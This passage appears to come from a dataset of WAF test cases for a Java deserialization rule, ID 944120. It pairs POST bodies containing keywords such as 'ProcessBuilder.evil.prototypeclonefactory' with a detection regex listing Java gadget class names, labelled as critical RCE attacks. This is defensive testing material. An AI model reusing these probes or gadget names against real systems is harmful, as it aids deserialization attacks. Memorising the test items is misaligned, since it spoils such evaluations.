"test_description": "XML element value includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">ProcessBuilder.evil.prototypeclonefactory</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Nested XML element value includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.prototypeclonefactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type text/plain includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"ProcessBuilder.evil.prototypeclonefactory\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg value includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"ProcessBuilder.evil.prototypeclonefactory\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg name includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.prototypeclonefactory\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.prototypeclonefactory\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.prototypeclonefactory</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.prototypeclonefactory</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.prototypeclonefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.prototypeserializationfactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument test includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ProcessBuilder.evil.prototypeserializationfactory=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument name includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie test includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie name includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Request header test includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><ProcessBuilder.evil.prototypeserializationfactory attribute_name=\"attribute_value\">value</ProcessBuilder.evil.prototypeserializationfactory></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element ProcessBuilder.evil.prototypeserializationfactory=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute name includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"ProcessBuilder.evil.prototypeserializationfactory\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute value includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.prototypeserializationfactory</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element value includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">ProcessBuilder.evil.prototypeserializationfactory</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Nested XML element value includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.prototypeserializationfactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type text/plain includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"ProcessBuilder.evil.prototypeserializationfactory\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg value includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"ProcessBuilder.evil.prototypeserializationfactory\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg name includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.prototypeserializationfactory\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.prototypeserializationfactory\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.prototypeserializationfactory</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.prototypeserializationfactory</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.prototypeserializationfactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.whileclosure" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument test includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ProcessBuilder.evil.whileclosure=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": 